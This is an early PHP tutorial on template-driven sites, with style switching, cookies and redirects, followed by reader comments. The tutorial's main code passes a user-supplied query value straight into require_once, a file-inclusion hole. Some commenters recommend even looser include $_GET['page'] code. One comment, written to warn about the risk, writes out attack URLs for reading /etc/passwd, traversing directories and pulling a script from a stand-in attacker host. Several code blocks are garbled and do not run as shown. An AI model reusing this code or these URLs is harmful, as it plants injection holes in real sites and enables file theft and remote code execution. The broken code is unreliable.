Manage Your Content With PHP

In this article, we’ll build a simple, template-driven site that separates style, content, and structure in your website. We’ll create a cross-browser stylesheet switcher that remembers the user’s preferences, touching on php variables, cookies, if statements, and including pages with require_once.

Article Continues Below

Separating style, content, and structure#section2

The separation of style from content has become the bugbear of the HTML developer. Traditionally, we’ve used well-written CSS and XHTML to achieve this separation, and we’ve seen how much easier it is to update our sites or provide multiple styles when we write our markup this way. By adding some very basic
PHP to this mix, we can take this modularity a step further, making it easier not only to update our styling, but our structure as well. In essence, we can create our own basic Content Management System.

PHP is an open-source server-side language. In order to use PHP, you will need the PHP module installed on your server. Most Linux servers have this module installed, and the PHP module is also available for Microsoft servers. If you are unsure about your server or modules, just ask your web host.

Essentially, the master template will use XHTML for structural markup, CSS for style, and some basic PHP to manage it all. Some very basic work with PHP variables will give us multiple style sheets, and will allow us to display different content documents within the same template. Since PHP is a server-side language, all the fancy work is done at the server, before the browser ever gets a peek, so this approach makes cross-browser support much easier to acheive.

Client-side languages like JavaScript do their work on the client—the browser—so the success of a page built with JS depends on the quirks of the individual browser. Since the browser never sees any PHP, just the flat XHTML results of the PHP, we don’t have to worry about a browser supporting PHP.

We’ll use a fairly typical site structure: menu + content.

Start the page as you would any HTML page: build the “<html>… <head>…</head>… <body>…” shell, and within the body set out your div tags to identify the structure of your document.

<div class="body">
</div>
<div class="menu">
</div>

require_once()#section3

Now we’ll use some basic PHP to include the content. require_once ‘includes and evaluates the specified file during the execution of the script’. In other words, it inserts another file into the document and evaluates the contents of that file for any scripts. The once aspect is a safeguard to ensure that we don’t include the file multiple times, which can cause problems like resetting our variables.

However, require_once() only works in the more recent versions of PHP, so if you have a module older then PHP4 installed on your server, you would need to use include() or require() instead.

<div class="body">
<?php @ require_once ("body.html"); ?>
</div>
<div class="menu">
<?php @ require_once ("menu.php"); ?>
</div>

Placing the @ symbol before require_once suppresses any error-messages that might be triggered in the included file. You see, PHP has some default error-messages, which can be incredibly useful during development. However, they’re not the sort of thing we often want our users to be staring at. By inserting the @ symbol before a function, we can suppress those error-messages. In many cases, custom error handling would probably be the best solution, but for this article we’ll keep it simple and just suppress them.

Since we are using PHP in this file, we have to save it as a PHP document, so let’s save it as template.php. You may have noticed that menu is also a PHP document, while body is an HTML document. This is because menu is going to parse some PHP variables, while
body will be nothing but text.

Now we have a page that calls in two separate documents, menu.php and body.html, and inserts the contents of those files into the page before showing it to the browser. Since these two files will be included within the body of this existing shell, there is no need for <html> <head> or <body> tags in these two files—just pure content.

Switching content with PHP variables#section4

So far, we have separated the structure of our template from the content that will be inserted into that structure, but as everything is hard-coded, this is still a static page. Some basic PHP variables will allow us to use this single structure as a template from which we’ll call different content files. If you
want to change the structure of your site down the line, you need only update this one document, and your entire site will reflect those changes.

Let’s say we’re building a site about French Communists. We want the basic structure and design to remain the same, but we want to include different chunks of content depending on which communist the user wishes to learn about. So, rather than have two separate pages with redundant markup and structure (babeuf.html,
and picasso.html), we use one master PHP document to host the separate chunks of content.

The menu will stay the same for every page, so we can keep the menu.php hardcoded, but as the body will be changing we’ll need to use a variable to give us a way to reference these changes dynamically.

PHP variables can be identified by their preceding $. So, we can change the hard-coded body.html into a dynamically updateable variable by coding it as $page.html. Every reference to $page will be replaced by whatever we set the variable $page to be.

Change the body reference to:

<div class="body">
<?php @ require_once ("$page.html"); ?>
</div>

We’ll set the variable in the query string (everything that comes after the “?”) of the url: template.php?page=babeuf.

The code above will replace any instance of $page with babeuf, so $page.html becomes babeuf.html. If we want to call picasso.html into that same template, we would set the Picasso link in our menu to template.php?page=picasso.

Along this line, if you run a blog, you can set your blog to output nothing but content, and build a PHP shell that will insert the proper page. This will give you one page of structure and markup in which all the different archives can be included. template.php?page=blogger or template.php?page=2002_02_01_archive. Redesigning your site involves updating one PHP page and your style sheets, and every archive will be updated automatically. (Ed. – See ALA’s Slash Forward to find out how to use mod_rewrite to create user-friendly URLs in just this sort of situation.)

Minimizing included pages#section5

Creating a system that assembles our final document out of several pages enables an extremely modular site, but each require_once() requires a little extra time on that server, as we load another separate file into our document. So, it is always a good idea to keep the number of included pages down to a minimum. Since menu.php is hardcoded — it never changes as we always ask for the exact same file — we actually could just enter our menu directly into the template. That would save one require_once, gaining the time the server would spend locating and inserting the appropriate document.

We could achieve more flexible results with a database query while limiting the number of separate calls, but to maintain the simplicity of this example, we’ll keep it as is for this article. Besides, I am still frightened of databases.

There is always a balance between ease of code and ease of maintenance, and between speed of coding and speed of loading. As always, test different versions in multiple circumstances to find what works best for your site, and don’t be scared of databases.

Anyway, now we’ve got a single page for structure, which can include many different chunks of content. You refer to the style sheets as you would any other XHTML document, from within the <head> of template.php.

Switching style with PHP variables#section6

But what if we want switchable styles as well as content? To do this with PHP, we’ll just use another PHP variable; let’s call it $style. In the head of template.php, add:

<?php echo "<style type="text/css" 
media="all">@import 
"$style.css";> </style>"; ?>

echo functions a lot like JavaScript’s document.write(), writing everything between the quotes into the source of the document. Since the content we are writing into the source contains quotation marks, we need to let the server know which quotation marks we want it to write as punctuation, and which ones are there to identify the stuff we’re printing. Typing a before the quotation mark will make the server print the quotation mark as a quotation mark.

So, if we set the variable style to “default” in the query string like this: template.php?page=babeuf&style=default, the code above
will print out:

<style type="text/css" 
media="all">@import 
"default.css";> </style>

We can change styles on the fly by changing the variable style so that it will match to an alternative style sheet (template.php?page=babeuf&style=print). And since all the busywork is happening on the server, these alternate style sheets will function on any browser that supports CSS.

Note that the raw ampersand (as in page=babeuf&style) is not standard XHTML, so before you upload your files, be sure to global replace every instance of & with & within links. It will still render properly in the links. For clarity’s sake, I will keep the ampersands raw in this tutorial (as I do while I code as well), but remember to encode them before uploading. The exception to this rule is for instances that never reach the browser, like redirects, but we will cover that later.

However, there is a shortcoming to this solution. Since we do all this style sheet manipulation with PHP variables, the browser has no idea that there are alternate style sheets. In other words, the Mozilla menu option for switching style sheets will show the current style sheet as the only option.

As the other browsers will soon follow suit to offer this feature, and as this is the W3C-suggested method for using alternative style sheets, let’s alter our code so that it will work nicely with future browsers, without sacrificing compatibility with the old ones.

Add the following after the existing style sheet reference:

<?php echo "<link 
rel="alternate style sheet" 
type="text/css" 
href="print.css" title="Printable" />"; 
?>
<?php echo 
"<link rel="alternate style sheet" 
type="text/css" 
href="default.css" title="Default" />"; 
?>

Now we have a cross-browser style sheet switcher that takes advantage of the latest alternate style sheet features as well. If we set the $style variable as well as the $page variable in each query string in menu.php, then the user’s selected style will be maintained throughout their visit.

For instance, the link in to the section on Babeuf would be:

<?php echo "<a href="template.php?page=babeuf&style;=$style">babeuf</a>"; ?>

This parses the existing $style variable as well as the new $page, keeping the style consistent while changing the content.

If we wanted to maintain the content and just change the style—say, to a printable version—then we’d do the opposite, maintaining the content by passing the existing value for $page, and changing the value of $style.

<?php echo "<a  href="template.php?page=$page&>
Printable version</a> "; 
?>

Saving the preferred style with PHP cookies#section7

You can even maintain the selected style between sessions with a PHP cookie. PHP cookies are incredibly easy to set. The basic format is:

setcookie ("cookie name", "cookie value", time()+how long you want the cookie to last);?>

So if we want to set a cookie called “styleCookie” that stores the user’s selected style (the $style variable), we would type the followingat the very top of template.php:

<?php
setcookie ("styleCookie", $style, time()+40000000);
?>

This will save a cookie called “styleCookie” on the user’s computer with a value of whatever $style is currently set to, and keep it there for a little over a year.

When the user returns to the site on another visit, we need to pull up that cookie and set $style to that value. The easiest way to do this is with a redirect page. Even if you don’t want to mess about with cookies, it is a good idea to use a redirect page if you want users to get to this page from the root of your site. Without a redirect page, in order to reach the Babeuf page hypothetically sitting at FrenchCommunists.org, the user would
have to enter www.FrenchCommunists.org/template.php?page=babeuf&style=default.

That’s quite a url-ful. So if we save a redirect page at index.php that sends the user to this url + query string, all the user needs to type to access the proper page is www.FrenchCommunists.org.

PHP redirects#section8

A straightforward PHP redirect would look like this:

<?php Header ("Location: 
http://www.FrenchCommunists.org/template.php?page=home&style=default"); 
?>

Note that as this PHP is never read by the browser, we can keep the & raw, and it will still validate as XHTML. In fact, if we change it to &amp; the server will choke. So, in any case where the browser is doing the parsing (as in <a>), it is okay to switch the &
to &. When the server is parsing it without the browser, keep it raw. If you’re confused by this, a little trial and error with the XHTML validator will clear things up.

Also note that as this is not an XHTML page, we don’t need the typical <body> <head> structure; a file containing nothing but the redirect will do just fine.

The cookie parser#section9

If we added a cookie parser at the redirect page (index.php), it would look like this:

<?php
<if ($styleCookie == "") { < $
<}
<else { < $
<}<Header ("Location: 
http://www.FrenchCommunists.org/template.php?page=home&style;=$style");<?>

if statements in PHP are very similar to if statements in JavaScript or ActionScript. The basic format is:

if (this is true) {
then do this
}
else {
otherwise do this
}

In our case, we first need to check if $styleCookie equals nothing (it hasn’t been set).

if ($styleCookie == "") { 

If the cookie doesn’t exist (the user has never visited before or prefers not to accept cookies), then we set the style to default:

$style="default";
}

If the cookie does exist (it doesn’t equal nothing), then we set $style equal to the $styleCookie:

else {
  
}

Regardless which if statement was parsed, $style now has a value, so we can use the same redirect to bring us to the appropriate page:

Header ("Location: 
http://www.FrenchCommunists.org/template.php?
 page=home&style;=$style");

This index/ redirect document declares the default values for all of our variables if they have not already been set. But just in case someone manages to bookmark the template page instead of the index/redirect, we really should declare default values in our template as well. That way, if some calls template.php directly, without specifying any variables in the query string, we can still build a reasonable page for them.

Back in template.php, underneath the setcookie script, add:

<?php if ($ "") {

} if ($page == "") {

$page="home";

} ?>

The syntax should look familiar to you now. This will set default values for our two variables if they do not already have values. So, a person skipping the redirect document and asking for http://www.FrenchCommunists.org/template.php will effectively be given http://www.FrenchCommunists.org/template.php?page=home&style=default.

And there you have it: separating style, content, and structure. We’ve created template.php for the structure, and into that master document we’ve brought our separate style sheets and content files. We used PHP variables and require_once to insert the appropriate content and style, and did it in a way that
takes advantage of the latest style sheet-switching properties of current browsers, while also giving this ability to older browsers. Finally, using PHP cookies and a redirect, we made the site remember the user’s preferred style sheet.

You can see a modified version of these scripts at work at webactivism.org, and can download source files for today’s tutorial here.

Additional tutorials on php#section10

  1. ALA: How to Succeed With URLs
  2. PHP cookies
  3. PHP loops
  4. PHP arrays

More about French Communists#section11

  1. Babeuf’s
    Defense
  2. The
    French Revolution and the Socialist Tradition
  3. Picasso:
    The Communist Years

Editor’s Note#section12

Obviously, there’s more to PHP than an introductory tutorial such as this article could possibly cover. Discussion in the forum provides insight into some of the additional issues (including security concerns) that come into play in any full-blown, PHP-driven Content Management System. Look for more on PHP and other server-side technologies in upcoming issues of A List Apart.

About the Author

Christopher Robbins

Christopher Robbins lives in Fiji, where he is helping set up an interactive and multimedia department at The University of South Pacific Media Centre. He rants like a French Communist at webactivism.org and keeps his capitalistic side tucked away at grographics.com.

72 Reader Comments

  1. (In response to the template question above: you could say “if page=template, then [do something] … else, load everything normally”)

    Speaking of PHP management systems, I was frustrated by a lack of simple options, so I wrote my own 5k system called Rodin: http://rodin.lot23.com . It’s open sourced, free, and is kept as simple as possible. A good template for beginners.

  2. Yes. You could do it in a few different ways. The easiest way would probably just be to check the value before you redirect. If it is “template”, then you can reassign the value.

    < ?php if ($template == "template") $template = "home"; ?>

    It should also be noted that in later versions of php (maybe 4.1+ ?), accessing querystring (URL) variables directly is no longer the correct way to do it and does not work by default. You have to access querystring variables through the $_GET array. In older versions, it’s recommended to use $HTTP_GET_VARS. http://www.php.net/manual/en/language.variables.predefined.php

    < ?php $template = $_GET["template"]; ?>

    Later,
    James Craig

  3. A few notes to all you soon-to-be PHP converts out there…

    1) a header() call must be made *before* any HTML in the document

    2) a good shortcut for writing the value of a variable in (x)html is
    < ?=$foo?>

    3) you can forgo the echo commands if you wish and section out your conditionals as such:
    < ? if ($foo=="1") { ?>

    < ? } else { ?>

    < ? } ?>

    4) you will no doubt get an error trying to write the xml declaration at the top as it is encapsulated in < ? ?> like php so the php engine will try to read it. you can circumvent this by having the php write out the xml declaration in an echo statement. just be sure to escape () your quotes (“).
    < ? echo "“; ?>

  4. Couple things:

    You should always be extremely careful when using include() or require() and user input. Never trust the user. In this case, possible bad side effects are minimized by adding the .html in the require call, but there is still the possibility mentioned above of including the template page. Probably the simplest solution is to make an array of acceptable pages and then verify that the page passed by the user is in that array…

    < ?php $acceptable_pages = array( 'index', 'bio', 'photos', 'projects' ); // header/menu stuff goes here // get the page from the URL $page = $_REQUEST[ 'page' ]; // make sure the page is in the acceptable pages array // in_array is a PHP 4 function. You can roll your own array inspection code in PHP3. if ( in_array( $page, $acceptable_pages ) ) { require_once( "$page.html" ); } else { // make your own pseudo-404 page require_once( "error.html" ); } ?>

    I also added a little error handling – if a bad page gets thrown to the script, it will include “error.html” which essentially acts as a custom 404 page. From there you can suggest other pages or just tell the visitor that they hit a bad page. Enjoy.

  5. Here are some more details on the security risks that have been mentioned above.

    This method of php programming is insecure with most default installations of php. It has been widly documented that you cannot trust external input. For example, on php 4.1.2 and older the following will load any file on your system that the web server has read access to (including /etc/passwd):
    http://yourserver/insecure.php?page=/etc/passwd%00
    (note, this requires that magic_quotes be turned on which is the default)

    You can also read any .html file on the system that the web server has access to. Let’s say this script was used on an intranet:
    http://yourserver/insecure.php?page=../../hr/index

    Also, depending on how php is configured, an attacker can even load their own script and have it execute on your server as if it were a part of your application.
    http://yourserver/insecure.php?page=http://hack0r/crack.php?
    would look like:
    require_once(“http://hack0r/crack.php?.html”);
    in your code. By default this is turned on in most php installations.

    A solution (there are many others but this one is simple):
    Employ the deny all principle. Use a hash to lookup valid pages that can be loaded dynically. For example:
    $pages[‘index’] = ‘index.html’;
    $pages[‘products’] = ‘prodcuts.html’;
    // …
    require_once($pages[$page]);
    // you’re even better off to validate the page lookup first and log any failures to a security log to help catch any attackers.

    Here are some references on secure php programming. There are many more but these should serve as a good introduction.
    http://www.php.net/manual/en/security.php
    http://www.securereality.com.au/studyinscarlet.txt
    http://online.securityfocus.com/archive/107/276307/2002-06-11/2002-06-17/1
    http://www.owasp.org/

    Feel free to contact me if you have any questions, suggestions or concerns.

    -Skye
    scove@occl.com

  6. As mentioned above, this style of coding can have very drastic security implications, and I wouldn’t recommend it.

    I use a variation of this system on my site. Here are a couple of tricks and tips I’ve picked up along the way:

    Proper use of quotes can really clean up your code, and potentially even make it faster. Double quotes “” tell PHP that there is something it needs to evaluate inside that string, so it’s great for something like
    echo “It is $time”;
    If you were going to echo out a string with no variables, do it using single quotes, like
    echo ‘XHTML and CSS rock my boat’;

    Escaping double quotes in a string can be a real mess, and I find it inconvinient, however there is an incredibly easy fix. Use single quotes for attributes inside your (X)HTML, which is fully compliant and don’t need to be escaped, like so:
    echo “$text“;
    There, nice and clean. Ahhhhh.

    When you’re coding one tip that could potentially save you a lot of time is to put the constant on the left of conditional statements. For example:
    < ?php if ('' == $style) { $style= 'default'; } if ('fancy' == $style) { $style = 'sophisto'; } ?>
    Okay note all the changes there, first strings with no variables have single quotes around them. Next we have constants on the left. Why? Two equal signs mean it’s a logical statement, and PHP checks if they equal each other and return true or false, whereas one equal sign assigns value. So if you had this in your script as a typo:
    if ($secret = ‘yes’) {
    echo $secretstuff;
    }
    It would get to the if statement and say “Is secret equal to ‘yes’? Sure! Let’s go!” This can be confusing when debugging, and hard to spot. If it saves you 10 minutes somewhere down the line, and doesn’t cost any time to do when you write the code, why not?

    I have had no end of trouble with PHP’s built in set-cookie function, espescially with it working right on older browser and redirecting people after the cookie had been set. My goal was to have a link people could click that would change the stylesheet (all server-side) and take them back to wherever they were (see http://www.mullenweg.com for example). Here’s the code I ended up with, which would be ideal for a PHP CMS system like in the article:
    $cookielife = 365*24*3600; // set for one year
    $date = gmstrftime(“%A, %d-%b-%Y %H:%M:%S”,(mktime()+$cookielife) );
    header(“Set-Cookie: theme=$theme; path=/; domain=.photomatt.net; expires=”.gmstrftime(“%A, %d-%b-%Y %H:%M:%S GMT”,time()+10960000)); // old school way of setting cookies. Note the dot in front of the URL, this tells it to work for any subdomains as well
    header(‘Location: ‘.$_SERVER[‘HTTP_REFERER’]); // uses new $_ variable

    Finally just one minor note, instead of

    Why not have the container DIV tags inside the menu.php file? I find this more convinent, espescially for putting elements of your templete in other pages. Also note it’s generally a better practice to use id instead of class for unique elements.

    The simplest system I’ve ever used for templetes is also the one I keep coming back to because it works so well. A sample page would look like this:
    < ?php $title = 'Title of sample page!'; include_once('header.php'); ?>
    Everything I want on the page goes here, content, HTML, whatever.
    < ?php include_once('footer.php'); ?>
    The header has the DOCTYPE, head stuff, echos out the title, runs a breadcrumb script I wrote (http://www.photomatt.net/index.php?m=200207#65), and

    to start my content. The footer includes the menu, closes all the tags, and puts anything I want at the bottom of the pages. Another benefit that people have enjoyed when I show this to them is that it works well with Dreamweaver MX. I gave DW up a while ago, but I’ve seen the results and it works just like a DW generated templete might. If any of this has been unclear or you have any questions email me or visit my site. Enjoy!
  7. Back again. If you work a lot with XML it might be easier for you to turn off short_open_tag in your PHP configuration (php.ini) file. The downside is you will no longer be able to use < ? or method. An easier solution is to echo out the XML declaration like Aaron pointed out above, however the way he suggested to do it doesn’t work, at least on my system. You have to seperate the ?> part of the declaration, like so:
    < ?php echo '‘; ?>
    All we did here was concatenate (join) two strings, and there you have it. Go forth and create valid documents and XML! Of course using the

  8. Thanks for all the security input.

    I received a few more important security tips in the email:

    I saw your “A list apart” article about PHP content management linked from
    web reference. I just wanted to point out that you should do some checking
    on your page variables.

    At the very least, you might want to strip out slashes:

    $page = str_replace(‘/’,”,$page);

    That’ll keep people from looking around outside of your directory.

    [a few lines removed]

    I’d also recommend turning the warnings off for the site by adding something
    like this at the top of the script:

    < ?php error_reporting(0); ?>

    Hope it helps.

    Sincerely,

    Paul Burney
    < http://paulburney.com/>

  9. Hi…

    Not a bad article, but it would’ve been nice if the “echo” system was explained and what the different files would have looked like such as the menu…it took a while to figure it out – but i kind of got it.

    After messing with the way php works, i got it to work somewhat. After modifying things to work for what i want, i constantly get an error in line 15/16/17 or 18 and for the life of me can’t figure out what the issue is. The “includes” are all there calling the correct files but there are still glitches.

    But i got it to work enough that i’m hooked… so thanks.

  10. Marty M,

    The downloadable source code shows the system in action, which should make the menu more sensible, and it is live and functioning here:

    http://www.grographics.com/PHPSource/

    I added these two lines to template.php for security reasons:

    $page = str_replace(‘/’,”,$page);

    < ?php error_reporting(0); ?>

    (see my previous post via Paul Burney < http://paulburney.com/> for explanation )

    Chris

    (and thanks, most people say I have a rather Flabby But)

  11. i had been pondering taking my .asp site and changing it to a .php site instead. all my dippy questions have now been answered and i think my weekend is also now taken care of.

    many thx

  12. The quotes in the following code:

    < ?php echo "

    The URL is showing correctly:

    http://www.womenintheeconomy.org/wie/template.php?page=home&style=default

    BUT I’m not getting any of body.html or menu.php files.

    Help?

  13. There’s an even easier way to get around the security concerns expressed above. Put the html pages you want to include in the template into a subdirectory (i.e. /pages/). You can put Apache security on that subdirectory if you want, php will include the page without requiring a password even if there is Apache security on it. Then make a slight change to the require statement to say @require_once ($DOCUMENT_ROOT.”/pages/$page”). $DOCUMENT_ROOT is a php variable that shows the local path on your server (it looks like ‘/u/web/username’). The period between $DOCUMENT_ROOT and “/pages/$page” concantonates them so that the server will see something like “/u/web/username/pages/yourpage.html” By putting this in front of $page it will make invalid pages nonsensical and they won’t print. For instance, if you put an external page into the variable $page, the server would see ‘/u/web/username/pages/http://www.hacker.com/something.html’ which wouldn’t produce anything since it’s a file that doesn’t exist. That also would prevent access to files on your local machine that you don’t want seen, so long as they do not reside in the directory you are using for this purpose.

  14. Thanks to insin for that rather more lucid explanation of what I meant in my previous post (“Another Template Model”) 🙂

    My question still stands, however: is there an easier way to implement the system described without using functions, since functions cause so many headaches with globals? Can large pieces of separate content effectively be generated and stored in simple variables, instead?

  15. I’m a beginner .. but to avoid infinite loop I do that :

    include(‘bla_’.$page.’.php’)

    this way if you do ‘template.php?page=template’ you’ll get bla_template.php.

  16. I’m new to PHP, and a little confused about something… I used a setup similar to that described by Dave Hendler (on the first page), and it worked fine on my system (where I had installed Apache and PHP 4.2.3). Once uploaded, however, it no longer functions. My server says they support PHP 4, no version specified beyond that. Is there a reason the script I’m using won’t work on lower versions?

  17. Heya all, this code everyone has been displaying is a great help.. but im stuck on something.. Ive written some code so i can do the
    ?page=blah

    but i was looking at doing in one of those acceptable page arrays.. but i dont want to sit there and add every new page into that array.. is there a statement after the

    < ?php @ require_once("$page.html"); ?>

    that i can add to basically say.. if $page.html does not exist.. go to error.html (without having the array remember)

    im new to PHP and would love the help .. Thanks!!!

  18. PHP beginner with little PHP experience. I am interested in setting up a site using includes (a template structure) and don’t quite know where to begin… I have the layout complete such as a header with nave which will remain the same on all pages, a left menu which will change per section, center content area which will change per page, and a right column which will also change according to section. I have tried regular < ?php include 'whatever.php' ?> but when I try to organize ny files into directories broken links are returned.

    Can anyone offer information on or a good resource for setting up templates and includes? Maybe I should start with something a little more simple?

    Thanks

  19. Several months ago, Ron asked: “Aside from changing host servers, can anyone tell me where I might be able to try my hand at authoring PHP pages for free in a live environment?”

    One answer is http://members.evolt.org/ – you can try out lots of other stuff here too, like mySQL, Coldfusion, ASP etc. Absolute goldmine.

    Andy

  20. You can check to see if a file exists and go on from there…

    Say $page contains the value which you got from the GET part of the URL. At the top of your page, you could have something like this:

    < ? $page = $_GET['page']; $includepath = "/path/to/include/dir/"; $filepath = $includepath.$page; if(file_exists($filepath)) { include($filepath); //if you want to include the file here //or $fileexists = true; //if you want to comfirm that $page is valid later on } else { //Header can only be used for a certain number of bytes into the file Header("Location:http://www.website.com/somedir/errorpage.html"); //you could echo some javascript or html meta to do the redirect instead //or include("/path/to/include/dir/badurl.inc"); //scold that user! 😀 } ?>

  21. Hi guys

    Thanks for the great article intro to a php cms Chris 😉
    However, I am getting an error message like so when I put the code on my server:

    Warning: Failed opening ‘.html’ for inclusion (include_path=’.;c:php4pear’) in c:htdocsoneafrikan.comtesttemplate.php on line 16

    can anyone help??
    Does this have to do with passing variables in the url, and the < ?php $template = $_GET["template"]; ?> method, and using a newer version of php??
    If so, how would one use $_GET to pull out the content using the $template variable??

    Thanks 😉
    Gareth

  22. sorry guys, i feel like a complete dumbass – found the solution to my problem through something similiar on sitepointforums…

    try:
    < ?php include $_GET['page']; ?>

    Cool… now i can add all the bells and whistles from the discussion!! 😉

    Gareth

  23. Hi guys

    Another query:
    I’m using the following method to get the page content using the variable passed to the template page:
    < ?php include $_GET['page']; ?>

    To do this, the url looks like so:
    … template.php?page=home.html&style=default

    The security concerns using this method have been discussed already, but what I want to know is if I can use the above $_GET method in some way so that I dont have to use the filename in the url…. Something like so:
    < ?php include $_GET['page.html']; ?>
    with a URl like:
    … template.php?page=home&style=default…

    On my server setup (php 4.2.3) this doesn’t work… but I’m wondering if i’m perhaps missing something, or if there is a way to do it I don’t know, or if there’s a different way to achieve the same thing.

    Thanks for the help!

    Gareth

  24. hi guys, me again with a answer to my post above – thought someone who is as new to PHP as I am may find it helpful….

    here is my template page:
    /////////////////////////////////////////
    < ?php setcookie ("stylecookie", $style, time()+40000000); $page = $_GET['page']; ?>
    < !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-strict.dtd">



    < ?php echo $_GET['page']; ?>

    < ?php echo "“; ?>
    < ?php echo "“; ?>


    < ?php echo $page; ?>


    < ?php @ require_once("$page.html"); ?>


    ////////////////////////

    Hope that helps 😉

    Regards
    Gareth

  25. I made my site for a group of people with massive differentiation in monitor size, and need to make style sheet switchers to help them out. So I’ve taken that stuff from this tutorial and left the dynamic content alone.. though am keeping in mind for the future!

    My problem is that my site has many pages, and is several layers deep. I’m not having a problem with the switching in the top level of my site, but further down I am, and I think it’s something to do with PHP not liking the ../../../ references back up to my style sheets at the top level. But I may be wrong.

    Is anyone able to help me with this? I’ve got the following code at the top of my document:

    < ?php setcookie ("stylecookie", $style, time()+40000000); if ($stylecookie == "") { $style="../../../udf2"; } else { $style=$stylecookie; } ?>

  26. Am about to try something:

    < ?php setcookie ("stylecookie", $style, time()+40000000); if ($stylecookie == "") { $style="../../../udf2"; } else { $style="../../../$stylecookie"; } ?>

  27. I added the ../../../ to the stylecookie variable, but still no dice.

    I’m not very experienced with PHP and seem to miss a lot of things… what have I missed here?

    I’m also interested to hear the answer to Lars’ question (above) in case this doesn’t work out and I need to pass the variables along with the URL in every case.

  28. I’m working on a site (not published yet) using urls like http://www.mysite.com/index.php?goto=blahbah
    So what I do is simply use ‘switch’ to include the proper page, and if anything ‘unknown’ is added to the url, or ‘goto’ is not set (ie: ‘www.mysite.com’) it will simply display the default page which also happens to be the homepage.

    Something like this:

    switch($goto)
    {
    case ‘blahblah’:
    include ‘blahblah.php’;
    break;

    case ‘lalala’:
    include ‘lalala.php’;
    break;

    default:
    include ‘home.php’;
    }

    I cases where I don’t want to show a default page I will redirect with the header function:
    header(‘Location: http://www.mysite.php/errorpage.html‘);

    All the include files are stored in a seperate directory. This directory I prefer to put outside the webroot. But if that isn’t possible I put an index.php file in that directory whith the same header function.

    As far as I know all of this should go a long way in preventing any nasty people putting their noses where they shouldn’t be :).

    All comments most welcome.

    Greetings

    Rik

  29. < ?php @ require_once ("$file.php"); ?> —->this is the variable that the menu buttons use to call the external php files, like content01.php etc. into the empty table in index.php.

    once i’ve set the variable in the index.php file, how do i get the home.php file to load into the table when people first arrive at the site.

  30. Php is a fairly easy language to learn and, as in this example, newbies can dabble around and get something working quickly BUT to produce good, secure code you have to have a more expert level of understanding. I wouldn’t want to put anyone off just make the point that you can’t jump straight into php from a web design background and expect to start producing good, dynamic websites in a couple of weeks. Six months of serious studying, maybe.

    Every time a website gets hacked it’s another easy story for a journalist in a thin week, and another blow for the internet as a safe place to do business..

  31. For over 2 days I’ve been trying…
    I keep getting in ‘view>sourse’,,, @import “null.css” /> ( in IE6)
    Also, in the dowload files for todays tutorial, the second half of the menu where your (supposed to) change styles, why is the no at the end?
    I get the page (additions) to change just fine, but can’t get the sytles to (even after trying with the added.). p.s. also… I know it’s (okay fine, “I’m”) stupid, but I spent the first few hours entering the url for the template.php, before figuring it out I’m supposed to enter the one for the index.php
    And was able to finally see the default.css work when I put in, if {$style=null} then {$style=default} any clues? I’m running out of hair to pull out 🙂

  32. This time I didnt see there was more than one page here (the “next” button) gareth (e) right on this page- ummm, thanks!!!!!
    I should drink more coffee maybe? LOL

  33. Just my 2 cents on filtering paths. Instead of str_replace(), you can call basename() on your path and it will return the filename only, devoid of directories.

    Of course, this will only work if all your articles are in the same directory.

  34. Hi, I’ve been desperately trying to figure this out for quite some time so any help is appreciaited! I’m not an expert at PHP so be warned!

    Basically I have these images and XML files in a directory. I want to create an index of the directory, but list only the XML files. I’d like the links in that list for each particular file to be the and <subtitle> from the respective XML file.</p> <p>What I’ve tried sometimes works, sometimes locks up, sometimes I get errors, sometimes nothing at all, etc…I just can’t figure it out and I need to get this working very soon. I’m using Sablotron on Linux.</p> <p>Here’s my code:</p> <p>< ?php function CheckExt($filename, $ext) { $passed = FALSE; $testExt = ".".$ext."$"; if (eregi($testExt, $filename)) { $passed = TRUE; } return $passed; } echo "<script language="JavaScript">n”;<br /> echo “function writestatus(say) { self.status=”Terriblemovies.com [”<br /> + say + “]”; }n”;<br /> echo “function clearstatus() { self.status=”Terriblemovies.com”;<br /> }n”;<br /> echo “clearstatus();n”;<br /> echo “n”;<br /> echo “</p> <style Type="text/css">n”; echo “Body { scrollbar-arrow-color:WHITE; scrollbar-track-color:white; scrollbar-shadow-color:#D6D6D6; scrollbar-face-color:#135184;n”; echo “scrollbar-highlight-color:#D6D6D6; scrollbar-darkshadow-color:#135184; scrollbar-3dlight-color:#135184; }n”; echo “A:link {color: #000000; text-decoration: none; font-weight: 300;}n”; echo “A:visited {color: #666699; text-decoration: none; font-weight: 300;}n”; echo “A:hover {color: blue; text-decoration: underline; font-weight: 300;}n”; echo “</style> <p>n”; </p> <p>//Define an array of common extensions.<br /> $exts = array(“xml”);</p> <p>echo “<b>Reviews in this folder:</b>“;<br /> $dir = opendir(“/home/ziphem/www/reviews/xml/”);<br /> $files = readdir($dir);<br /> $phpparser = “http://www.terriblemovies.net/reviews/xml/standardbrowser.php$files”;</p> <p>while (false !== ($files = readdir($dir))) {<br /> foreach ($exts as $value) {<br /> if (CheckExt($files, $value)) {</p> <p>echo “<a href=$phpparser" rel="nofollow"></a>n”;<br /> print “<a href='$files' rel="nofollow">“;<br /> // Create an XSLT processor<br /> $xsltproc = xslt_create(); </p> <p>// Perform the transformation<br /> $html = xslt_process($xsltproc, $files, ‘../xsl/movielist.xsl’); </p> <p>// Detect errors<br /> if (!$html) die(‘XSLT processing error: ‘.xslt_error($xsltproc)); </p> <p>// Destroy the XSLT processor<br /> xslt_free($xsltproc); </p> <p>// Output the resulting HTML </p> <p>echo $html;</p> <p>print “</a>“;<br /> $count++; //Keep track of the total number of files.<br /> break; //No need to keep looping if we’ve got a match.</p> <p>}<br /> }<br /> }<br /> echo $count.” Reviews Total.n”;<br /> echo “<a href="".$_SERVER["PHP_SELF"]."" rel="nofollow">Refresh</a>n”;<br /> //Be a good script and clean up after yourself…<br /> closedir($dir);</p> <p>?></p> <p>Thanks so much!!</subtitle>

  35. Sorry for my english:)
    I am new to php and i have start to make a template like ‘template.php?page=home that works great but in template.php there i have my meta tags and the title so if i have 5 diffirent pages i still have the same title is there a solution for? I realy have try evrything.

  36. Could someone give me the exact code for the template.php page. Mine looks like this:



    phpCMS – A Demonstration

     
       
     
     
    < ?php @ require_once ("$p.htm") ?>
     
     
    All Material is © Copyright 2002
    – 2003 Jakks Sevarg


    But I didn’t quite understand how I was supposed to make http://www.siteiscomingsoon.com/index.php go to http://www.siteiscomingsoon.com/index.php?p=aboutus

    Thanks!

    Jakks

  37. Just a quick note. I finally pu this system into use and I discovered another security leak. For Example I have a directory with these files and directories:

